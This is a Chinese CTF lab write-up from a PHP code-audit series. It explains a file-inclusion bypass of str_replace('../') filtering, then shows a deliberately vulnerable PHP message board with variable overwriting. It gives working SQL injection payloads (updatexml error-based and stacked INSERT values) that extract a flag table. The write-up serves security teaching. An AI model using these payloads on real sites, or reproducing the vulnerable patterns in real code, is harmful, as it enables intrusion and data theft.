PHP-Audit-Labs-Day9-str_replace函数过滤不当

PHP-Audit-Labs

项目地址:https://www.ripstech.com/php-security-calendar-2017/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class LanguageManager {
public function loadLanguage() {
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}

private function getBrowserLanguage() {
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}

private function sanitizeLanguage($language) {
return str_replace('../', '', $language);
}
}

(new LanguageManager())->loadLanguage();

这一题考察的是一个 str_replace 函数过滤不当造成的任意文件包含漏洞。在上图代码 第18行 处,程序仅仅只是将 ../ 字符替换成空,这并不能阻止攻击者进行攻击。例如攻击者使用payload:....// 或者 ..././ ,在经过程序的 str_replace 函数处理后,都会变成 ../ ,所以上图程序中的 str_replace 函数过滤是有问题的。我们来看一下PHP手册对 str_replace 函数的具体定义:

str_replace :(PHP 4, PHP 5, PHP 7)

功能 :子字符串替换

定义mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

该函数返回一个字符串或者数组。如下:

str_replace(字符串1,字符串2,字符串3):将字符串3中出现的所有字符串1换成字符串2。

str_replace(数组1,字符串1,字符串2):将字符串2中出现的所有数组1中的值,换成字符串1。

str_replace(数组1,数组2,字符串1):将字符串1中出现的所有数组1一一对应,替换成数组2的值,多余的替换成空字符串。

CTF

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php  
include 'config.php';
include 'function.php';

$conn = new mysqli($servername,$username,$password,$dbname);
if($conn->connect_error){
die('连接数据库失败');
}

$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$id = $row['COUNT(*)'] + 1;
}
else die($conn->error);

if(isset($_POST['msg']) && $_POST['msg'] !==''){
$msg = addslashes($_POST['msg']);//addslashes函数过滤
$msg = replace_bad_word(convert($msg));//replace_bad_word对敏感词替换,convert使用了htmlentities函数
$sql = "INSERT INTO users VALUES($id,'".$msg."')";
$result = $conn->query($sql);
if($conn->error) die($conn->error);
}
echo "<center><h1>Welcome come to HRSEC message board</center></h1>";
echo <<<EOF
<center>
<form action="index.php" method="post">
<p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p>
</form>
</center>
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>";
while($row = $result->fetch_row()){
echo "<tr><th>$row[0]</th><th>$row[1]</th><tr>";
}
echo "</table></center>";
}
$conn->close();
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php  
function replace_bad_word($str){
global $limit_words;
foreach ($limit_words as $old => $new) {
strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
}
return $str;
}

function convert($str){
return htmlentities($str);
}

$limit_words = array('造反' => '造**', '法轮功' => '法**');

foreach (array('_GET','_POST') as $method) {//存在全局变量覆盖漏洞,_GET _POST两种方法
foreach ($$method as $key => $value) {//$_GET/$_POST 传入参数的值赋值到$value
$$key = $value;
}
}
?>

config.php

1
2
3
4
5
6
<?php  
$servername = "localhost";
$username = "hongrisec";
$password = "hongrisec";
$dbname = "day9";
?>

搭建CTF环境使用的sql语句

1
2
3
4
5
6
7
8
create database day9;
use day9;
create table users(
id integer auto_increment not null primary key,
message varchar(50)
);
create table flag( flag varchar(40));
insert into flag values('HRCTF{StR_R3p1ac3_anD_sQ1_inJ3ctIon_zZz}');

可以通过覆盖 $limit_words 数组,来逃逸单引号,因为在 index.php 文件中使用了 addslashes 函数

我们使用第一个 payload 如下:

1
2
msg=1%00' and updatexml(1,concat(0x7e,(select * from flag),0x7e),1))    
#&limit_words[\0\]=

这样我们便注出了flag,但是这里的flag并不齐全,因为 updatexml报错 最多只能显示 32位 ,所以下面我使用 reverse 函数注出尾部数据。当然方法不止这一种,大家自己举一反三。

1
2
msg=1%00' and updatexml(1,concat(0x7e,(select reverse(flag) from flag),0x7e),1))
#&limit_words[\0\]=

这个Payload传进去经$$key = $value;后,会使得$limit_words数组被覆盖为["\0\"] => "",也就是说replace_bad_word函数会将\0\替换为空

由于代码执行顺序的问题,Payload会先被addslashes函数加上转义符变为\0\',随后进入replace_bad_word函数被置空,单引号就逃逸出来了

这里%00的作用

1.msg=1%00'

2.addslashes 转义

3.msg=\0\'

4.limit_words[\0\]传入,覆盖原有数组,为空。

5.送入str_replace函数处理,将0替换空

6.msg=\\' =>',单引号逃逸。

数据库查询语句:

1
INSERT INTO users VALUES(66,'1' and updatexml(1,concat(0x7e,(select * from flag),0x7e),1))#')

第二种payload

1
msg=1'),(66,(select flag from flag))#&limit_words[1\']=1'

1.msg=1'

2.addslashes 转义

3.msg=1\'

4.limit_words[1\']传入,覆盖原有数组,为1',逃逸了\

数据库查询语句:

1
INSERT INTO users VALUES(47,'1'),(55,(select flag from flag))#')

补充00截断知识点:

1.burp修改空格的十六进制2000,返回raw会发现空格变为方框,方框的位置就是0x00,只不过这是一个不可见字符,无法显示。0x00的原理,总之就是利用ascii码为零这个特殊字符,让系统认为字符串已经结束。

转载:

https://xz.aliyun.com/t/2633

-------------本文结束感谢您的阅读-------------